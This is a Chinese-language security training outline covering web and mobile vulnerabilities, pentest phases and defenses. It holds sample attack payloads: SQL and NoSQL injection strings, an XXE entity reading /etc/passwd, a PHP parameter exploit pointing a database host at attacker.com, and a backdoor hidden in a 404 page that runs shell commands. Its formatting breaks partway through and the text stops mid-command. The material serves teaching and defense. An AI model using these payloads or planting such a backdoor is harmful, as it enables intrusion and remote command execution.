Web及移动安全实战教学文档
一、安全动态与趋势分析
1.1 近期重大漏洞分析
- Struts2-045漏洞:远程代码执行漏洞,攻击者可通过构造恶意Content-Type头实现系统命令执行
- Facebook密码重置漏洞:价值$15000的漏洞,涉及逻辑缺陷导致未授权密码重置
- Jive-n XXE漏洞(CVE-2018-5758):XML外部实体注入漏洞,可导致敏感文件读取
- Windows远程协助漏洞(CVE-2018-0878):严重级别漏洞,影响远程协助功能
1.2 当前安全趋势
热门趋势:
- 硬件钱包安全研究(如Ledger硬件钱包漏洞)
- 办公文档攻击(Microsoft Excel CSV代码执行)
- 指挥与控制基础设施(C2)构建技术
- 红队战术从MSSQL到RCE的渗透路径
- APT组织攻击手法演进(如APT32海莲花组织)
渐冷趋势:
- 传统签名式杀毒技术
- 单一维度防御策略
- 非智能化的日志分析
- 静态漏洞扫描方法
二、Web安全核心技术
2.1 注入类漏洞
SQL注入:
- 原理:未过滤的用户输入拼接至SQL语句
- 防御:参数化查询、输入过滤、最小权限原则
- 实战:
-- 经典联合查询注入 ' UNION SELECT username, password FROM users-- -- 布尔盲注 ' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables))--
NoSQL注入:
- MongoDB示例:
// 原始查询 db.users.find({user: req.body.user, pass: req.body.pass}) // 攻击向量 {"user": {"$ne": null}, "pass": {"$ne": null}}
2.2 跨站脚本(XSS)
- 存储型XSS:通过Facebook存储型XSS案例
- 防御方法:
- 内容安全策略(CSP)
- 输出编码
- HttpOnly Cookie标志
- 输入验证
2.3 跨站请求伪造(CSRF)
- 攻击原理:利用已认证状态执行非预期操作
- 防御措施:
- 同源策略检查
- CSRF Token
- 双重提交Cookie
2.4 文件包含与XXE
- XXE攻击示例:
<!-- 恶意DTD --> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <user>&xxe;</user> - 防御:禁用外部实体解析、使用白名单验证
三、移动安全专项
3.1 移动应用常见漏洞
- 不安全的数据存储
- 不充分的加密
- 不安全的通信
- 认证绕过
- 代码篡改风险
3.2 移动端渗透技术
- 中间人攻击防护
- 证书绑定实现
- 反逆向工程措施
- 运行时保护机制
四、渗透测试实战技巧
4.1 信息收集阶段
- 使用Th3inspector进行综合信息收集
- WPHunter扫描WordPress漏洞
- SNMP密码破解技术
4.2 漏洞利用
- MetInfo PHP变量覆盖漏洞:
// 漏洞代码示例 foreach($_GET as $key => $value) {
\[key = $value;
}
// 利用方式
?config[db_host]=attacker.com&config[db_user]=hacker
```
- **404页面隐藏后门**:
```php
// 伪装在404页面中的后门
if(isset($_GET['cmd']) && $_SERVER['REQUEST_URI'] == '/404.html') {
system($_GET['cmd']);
}
```
### 4.3 权限提升
- **Windows系统**:
- 通过SAM数据库获取本地用户Hash
- 使用Windows提权辅助工具
- **Linux系统**:
- LiME内存提取分析技术
- 内核漏洞利用
### 4.4 后渗透阶段
- SSH隧道技术:
```bash
# 本地端口转发
ssh -L 8080:internal:80 user@gateway
# 动态端口转发
ssh -D 1080 user@remote_host
```
- C2基础设施搭建
- 持久化维持访问技术
## 五、防御体系建设
### 5.1 Web应用防护
- 全局SQL注入防御代码实现
- HTTPS完整部署指南
- WAF规则定制策略
### 5.2 安全开发实践
- 安全编码规范
- 代码审计技巧(如tinyshop审计案例)
- 自动化安全测试流程
### 5.3 红蓝对抗
- 红队战术:
- 从MSSQL到RCE的完整路径
- 网络边界突破技巧
- 蓝队防御:
- Loki IOC扫描器使用
- 事件响应流程
## 六、工具集锦
### 6.1 渗透测试工具
1. **Nmap高级脚本**:
```bash
nmap -sV --script=vulners